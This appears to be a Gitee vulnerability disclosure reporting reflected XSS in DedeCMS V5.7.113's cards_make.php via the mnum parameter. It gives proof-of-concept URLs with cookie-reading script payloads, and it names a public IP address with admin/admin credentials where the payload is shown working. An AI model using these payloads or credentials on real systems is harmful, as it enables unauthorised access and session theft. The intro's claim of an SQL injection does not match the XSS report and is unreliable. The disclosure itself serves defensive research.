DedeCMS V5.7.113 has XSS vulnerability

ntroduction to DedeCMS
Shanghai Desdev Inc is a professional website content management solution provider, and its product - DedeCms - is one of the most well-known and widely used CMS in China. The official website of DedeCMS has an SQL injection vulnerability in its content management system. Attackers can obtain all system data and obtain system permissions.
Vulnerability description（漏洞描述）
Cross Site Scripting attacks involve injecting malicious Script code into a web page. When a user browses the page, the Script code embedded in the web will be executed, thereby achieving the goal of malicious attacks on the user. DedeCMS has a cross site scripting attack vulnerability

After further auditing of the code, you can see that it obtained user input by using the mnum parameter, which was not processed, resulting in XSS vulnerabilities

![输入图片说明](https://foruda.gitee.com/images/1713504731574171087/2577152b_8010995.png "屏幕截图")

Local reproduction
POC
http://127.0.0.1/uploads/dede/cards_make.php?dopost=make&cardtype=1&mnum=%3CScRiPt%3Ealert(1)%3C/sCrIpT%3E&snprefix=SN&pwdlen=4&ctype=2&pwdgr=3&Submit=%E5%BC%80%E5%A7%8B%E7%94%9F%E6%88%90%E7%82%B9%E5%8D%A1
![输入图片说明](https://foruda.gitee.com/images/1713504781935348780/46324379_8010995.png "屏幕截图")

http://127.0.0.1/uploads/dede/cards_make.php?dopost=make&cardtype=1&mnum=%3CScRiPt%3Ealert(document.cookie)%3C/sCrIpT%3E&snprefix=SN&pwdlen=4&ctype=2&pwdgr=3&Submit=%E5%BC%80%E5%A7%8B%E7%94%9F%E6%88%90%E7%82%B9%E5%8D%A1

![输入图片说明](https://foruda.gitee.com/images/1713504801227556581/18136f19_8010995.png "屏幕截图")

Case reproduction（案例复现）
http://124.222.71.90/uploads/dede/login.php?gotopage=%2Fuploads%2Fdede%2F (admin | admin )

![输入图片说明](https://foruda.gitee.com/images/1713504929161204225/a76a03ed_8010995.png "屏幕截图")

http://124.222.71.90/uploads/dede/cards_make.php?dopost=make&cardtype=1&mnum=%3CScRiPt%3Ealert(document.cookie)%3C/sCrIpT%3E&snprefix=SN&pwdlen=4&ctype=2&pwdgr=3&Submit=%E5%BC%80%E5%A7%8B%E7%94%9F%E6%88%90%E7%82%B9%E5%8D%A1

![输入图片说明](https://foruda.gitee.com/images/1713504892738435519/3ef0dd4f_8010995.png "屏幕截图")

Zchuanwen/cve123

内容风险标识

评论 (0)

Zchuanwen/cve123 .gitee-modal { width: 500px !important; }

内容风险标识